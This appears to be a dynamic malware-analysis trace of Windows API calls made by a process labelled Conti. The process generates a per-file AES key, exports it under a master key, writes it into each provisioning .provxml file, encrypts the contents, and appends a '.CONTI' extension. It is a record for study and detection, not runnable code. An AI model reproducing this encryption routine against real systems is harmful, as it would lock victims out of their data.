	[0108.968] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.165] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0110.165] GetLastError () returned 0x0
	[0110.165] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=741) returned 1
	[0110.165] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e5
	[0110.165] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.165] SetEndOfFile (hFile=0x3ec) returned 1
	[0110.437] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.437] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.437] WriteFile (in: hFile=0x3ec, lpBuffer=0x65142d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65142d4*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.451] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.451] ReadFile (in: hFile=0x3ec, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2e5, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2e5, lpOverlapped=0x0) returned 1
	[0110.451] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e5, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2f0) returned 1
	[0110.451] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.451] WriteFile (in: hFile=0x3ec, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.451] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.451] WriteFile (in: hFile=0x3ec, lpBuffer=0x65142c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65142c8*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0110.452] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.452] CloseHandle (hObject=0x3ec) returned 1
	[0110.452] GetProcessHeap () returned 0x1720000
	[0110.452] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.973] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml"
	[0110.973] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.973] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.974] GetProcessHeap () returned 0x1720000
	[0110.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.974] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0110.974] GetProcessHeap () returned 0x1720000
	[0110.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588d28 | out: hHeap=0x1720000) returned 1
	[0110.974] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0110.974] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x656e180 | out: phKey=0x656e180*=0x17c8370) returned 1
	[0110.974] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x656e184, pdwDataLen=0x5affca4 | out: pbData=0x656e184*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0110.975] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0110.975] GetLastError () returned 0x0
	[0110.975] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=720) returned 1
	[0110.975] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0110.975] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.975] SetEndOfFile (hFile=0x37c) returned 1
	[0110.975] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.975] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.976] WriteFile (in: hFile=0x37c, lpBuffer=0x656e184*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x656e184*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.309] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.309] ReadFile (in: hFile=0x37c, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.309] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2e0) returned 1
	[0111.309] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.309] WriteFile (in: hFile=0x37c, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.309] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.309] WriteFile (in: hFile=0x37c, lpBuffer=0x656e178*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x656e178*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0111.309] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.309] CloseHandle (hObject=0x37c) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.413] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml"
	[0112.413] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.413] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.414] GetProcessHeap () returned 0x1720000
	[0112.414] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.414] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0112.414] GetProcessHeap () returned 0x1720000
	[0112.414] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d178 | out: hHeap=0x1720000) returned 1
	[0112.414] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0112.414] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65ae770 | out: phKey=0x65ae770*=0x17c82b0) returned 1
	[0112.414] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ae774, pdwDataLen=0x5affca4 | out: pbData=0x65ae774*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0112.415] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.415] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.415] GetLastError () returned 0x0
	[0112.415] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=713) returned 1
	[0112.415] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0112.415] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.415] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.416] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.416] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.416] WriteFile (in: hFile=0x3f8, lpBuffer=0x65ae774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65ae774*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.421] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.421] ReadFile (in: hFile=0x3f8, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2c9, lpOverlapped=0x0) returned 1
	[0112.421] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2c9, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0) returned 1
	[0112.421] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.421] WriteFile (in: hFile=0x3f8, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.422] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.422] WriteFile (in: hFile=0x3f8, lpBuffer=0x65ae768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65ae768*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0112.422] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.422] CloseHandle (hObject=0x3f8) returned 1
	[0112.422] GetProcessHeap () returned 0x1720000
	[0112.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.422] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0112.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.422] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.423] GetProcessHeap () returned 0x1720000
	[0112.423] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.423] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0112.423] GetProcessHeap () returned 0x1720000
	[0112.423] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a050 | out: hHeap=0x1720000) returned 1
	[0112.423] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0112.423] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65b1080 | out: phKey=0x65b1080*=0x17c7ff0) returned 1
	[0112.423] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b1084, pdwDataLen=0x5affca4 | out: pbData=0x65b1084*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0112.424] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.424] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.424] GetLastError () returned 0x0
	[0112.424] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=867) returned 1
	[0112.424] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x363
	[0112.424] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.424] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.425] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.425] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.425] WriteFile (in: hFile=0x3f8, lpBuffer=0x65b1084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65b1084*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.429] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.429] ReadFile (in: hFile=0x3f8, lpBuffer=0x11710000, nNumberOfBytesToRead=0x363, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x363, lpOverlapped=0x0) returned 1
	[0112.429] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x363, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x370) returned 1
	[0112.429] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.429] WriteFile (in: hFile=0x3f8, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x370, lpOverlapped=0x0) returned 1
	[0112.429] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.430] WriteFile (in: hFile=0x3f8, lpBuffer=0x65b1078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65b1078*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0112.430] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.430] CloseHandle (hObject=0x3f8) returned 1
	[0112.430] GetProcessHeap () returned 0x1720000
	[0112.430] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.430] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml"
